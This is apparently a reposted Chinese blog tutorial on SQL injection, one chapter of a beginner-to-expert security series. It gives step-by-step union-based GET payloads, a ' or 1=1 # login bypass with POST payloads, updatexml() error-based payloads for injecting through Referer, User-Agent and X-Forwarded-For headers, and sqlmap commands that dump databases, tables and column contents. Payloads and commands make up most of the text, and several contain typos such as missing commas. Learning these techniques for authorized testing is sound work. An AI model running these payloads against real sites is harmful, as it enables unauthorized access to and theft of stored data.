zoukankan      html  css  js  c++  java
  • 网络安全从入门到精通(第四章-2)GET&POST&HEAD注入

    本文内容:

    • GET注入
    • POST注入
    • Head注入
    • sqlmap工具注入

    get&post为显错注入:

    head为报错注入:

    1,GET注入:

      get注入属于显错注入。

        1.判断注入点:

          最古老的的方法是:

            http://www.xxx.com/new.php?id=1 and 1=1 页面显示正常。

            http://www.xxx.com/new.php?id=1 and 1=2 页面显示错误。

          最简单的判断方法是:

            http://www.xxx.com/new.php?id=1 and 1=1 页面显示正常。

            http://www.xxx.com/new.php?id=1 and 1=1' 页面显示错误。

          使用以上两个方法可能会被ban,然后我们还可以进行其他判断方法,比如:        

            http://www.xxx.com/new.php?id=1 页面显示id=1的新闻

            http://www.xxx.com/new.php?id=2-1页面显示id=1的新闻

          或者直接or sleep(5)

        我们在判断出某地方存在sql注入后,就要建立模型,想想这个sql注入的sql语句会是什么样的。

        我们从一个表里获取其他表里的数据,应该怎么做?

        联合查询

        但是使用联合查询,是需要条件的。我们应该怎么做呢?

        具体看以下流程:

        2.GET注入基本流程:

          msql注入:

          1.判断是否存在sql注入

            and 1=1

            and 1=2

          2.判断当前页面字段数:

            id=1 order by 1,2,3……

          3.判断回显点:加入回显点是3

            http://www.xxx.com/new.php?id=1 union select 1,2,3……

          4.查询当前数据库:

            http://www.xxx.com/new.php?id=1 union select database()

          5.查询当前表名:

            http://www.xxx.com/new.php?id=1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()

          6.查询当前字段名:

            http://www.xxx.com/new.php?id=1 union select1,2,group_concat(column_name) from information_schema.columns where table_name="查询得出的表名"

          7.查询字段内容:

            http://www.xxx.com/new.php?id=1 union select1,2,group_concat(查询得出的字段名) from 查询得出的表名

        解释:

          1.因为联合查询需要相同的字段数,所以一开始我就先进行了字段数的判断,使用的是order by。

          2.因为GET注入属于显错注入,所以我们要判断它的回显点,这样方便看查询的内容。

          3.select database(),是msql查询当前数据库的sql语句,学过mysql的应该没有什么问题。

          4.然后就是查询表、和查询字段了,是因为mysql在5.0以上版本中加入了information_schema这个系统自带库,其中保存着关于mysql服务器所维护的所有其他数据库的信息,如数据库名、数据库的表、表栏的数据类型与访问权限等。

          information_schema.tables实际上是选中information_schema库中的tables表

          information_schema.columns存放字段名和表名的对应。

          5.网站有些时候如果数据库查询出多行数据,它只有输出第一行,所以我们group_concat(),将查询到的数据,一行显示。

    以上就是GET注入,这里只是手工注入,文章最后会一起讲一下使用工具注入。

    2,POST注入:

      1.注入攻击的本质,是把用户输入的数据当做代码执行。

      关键条件:

        用户能够控制输入

        原本程序要执行的代码,拼接了用户输入的数据。

      POST:注入属于显错注入的一种。

      POST注入就是使用POST进行传参注入,本质上和GET类型没有什么区别。

      POST注入高危点:

        登录框、查询框等各种和数据库有交互的框。

      最经典的POST注入判断,莫过于万能密码' or 1=1 #

      在可以看到代码的情况,就可以它的sql语句是否进行敏感处理。

      2.POST注入的基本流程:

        mysql注入:

          1.判断是否存在SQL注入:

            ' or 1=1#     

          2.判断当前页面字段数:

            ' or order by 1,2,3……#

          3.判断回显点:加入回显点是3

            ' or union select 1,2,3……#

          4.查询当前数据库:

            ' or union select database() #

          5.查询当前表名:

            ' or union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #

          6.查询当前字段名:

            ' or union select1,2,group_concat(column_name) from information_schema.columns where table_name="查询得出的表名" #

          7.查询字段内容:

            ' or union select1,2,group_concat(查询得出的字段名) from 查询得出的表名 #

        解释:

          1.基本流程与GET注入一样,就是判断是否存在注入的方式有所不同。

          2.进行判断是否存在sql注入,字符串闭合时,一定要注意代码中前字符串是单引号还是双引号。

    以上就是POST注入,这里只是手工注入,文章最后会一起讲一下使用工具注入。    

    3,HEAD注入介绍

      PHP全局变量-超全局变量:

        PHP中许多预定义变量“超全局的”,这意味着它们在一个脚本中的都可调用。

        $_REQUSET[获取GET|POST|COOKIE 在新版本中已经无法获取了]

        $_POST[获取POST传参]

        $_GET[获取GET传参]

        $_SERVER[包含了注入头信息(header)、路径(path)、以及脚本位置(script locations)等等信息]

        $_SERVER功能非常强大。

      常用:

      $_SERVER['HTTP_REFERER'] 获取Referer请求头数据。

      $_SERVER['HTTP_USER_AGENT']获取用户相关信息,包括用户浏览器、操作系统等信息。

      $_SERVER['REMOTE_ADDR']浏览网页的用户IP。

      HEAD注入是将采集到的信息放入数据库中,相当于插入语句,[插入语句是没有回显的]。

      没有回显,就不能通过联合查询了,因为没有输出,这种情况:1使用报错注入2.盲注。

      这里我们就要介绍一个新函数了:updatexml()

      语法:updatexml(目标xml内容,xml文档,更新的内容)

        举例:updatexml(1,concat(0x7e,(select database()),0x7e),1),)#

        0x7e是一个特殊符号,然后不符合路径规则报错]。

        0x:代表十六进制

        7e:代表~符号

      1.HEAD注入基本流程:一般情况下是在登录成功之后,如果不知道账号和密码,可以使用burpsuite爆破一下。

       head注入就需要使用到我们的抓包工具:BurpSuite了

       head注入需要看是用什么方式获取信息比如:HTTP_REFERER、USER_AGENT、REMOTE_ADDR

       以HTTP_REFERER、USER_AGENT、X_FORWAREDE_FOR为例:

       假如:HEAD注入,sql插入语句为两个参数。

        mysql注入:

          1.抓包。

          2.判断是否存在sql注入:

            在抓包数据内添加代码,  ' updatexml(1,concat(0x7e(select database()),0x7e),1)1,)#

            如果是user_agent就在user_agent处添加,

            如果是referer就在referer处添加,只是添加位置不同而已。

            如果是x_forwarede_for,就在数据包内添加x_forwarede_for,在将代码添加上

          3.查询表:

            updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())0x7e),1),1)#

          4.查询字段:

            updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="查询得出表")0x7e),1),1)#

          5.查询内容:

            updatexml(1,concat(0x7e,(select group_concat(查询得出字段名)from 查询得出表名)0x7e),1),1)#3

        补充:x_forwarede_for是用来识别通过HTTP代码或负载均衡方式连接到web服务器的客户端最原始的IP地址的HTTP。

             upadatexml()是往数据插入两个~,一个在开始,一个在结尾,可以通过这种方式查看,是否对输出长度做了设置。

    4,使用sqlmap注入基本流程:

        方式一:

          1.查看是否存在注入,是什么类型的注入

            sqlmap -u url --form 

          2.爆库:

            sqlmap -u url --form --dbs 

          3.爆表:

            sqlmap -u url --form --tables -D 库名 

          4.爆字段:

            sqlmap -u url --form --columns -T 表名 -D 库名 

          5.爆内容:

          sqlmap -u url --form --dump -C 字段名 -T 表名 -D 库名 

        方式二:可以使用burpsuite抓包,存到txt文档中

            假设burpsuite抓包存的txt文档名字是1.txt

            使用抓了数据包,测试注入点,需要加*,精准打击。

          1.查看是否存在注入,是什么类型的注入

            sqlmap -r /root/桌面/1.txt

          2.爆库:

            sqlmap -r /root/桌面/1.txt --dbs

          3.爆表:

            sqlmap -r /root/桌面/1.txt --tables -D 库名 

          4.爆字段:

            sqlmap -r /root/桌面/1.txt --columns -T 表名 -D 库名 

          5.爆内容:

            sqlmap -r /root/桌面/1.txt  --dump -C 字段名 -T 表名 -D 库名 

     
    与君共勉:
      现在不玩命,
      将来命玩你。
      比你差的人还没放弃,
      比你强的人仍在努力,
      你有什么资格说“我无能为力”?
      混就混出个名堂,
      学就学出个模样。
      翻脸不如翻身,
      生气不如争气。
      也别假装很努力,
      毕竟结果不会陪你演戏。 
  • 相关阅读:
    ubuntu 12.04 配置iscsi共享及挂载iscsi共享
    python_数据类型
    python_基本操作
    shell习题第5题:批量更改文件后缀名
    shell习题第4题:监控ip地址存活
    shell习题第3题:统计内存大小
    shell习题第2题:统计ip访问量
    shell习题第1题:每日一文件
    IIS网站的应用程序与虚拟目录的区别及应用
    http状态码
  • 原文地址:https://www.cnblogs.com/xz25/p/12584897.html
Copyright © 2011-2022 走看看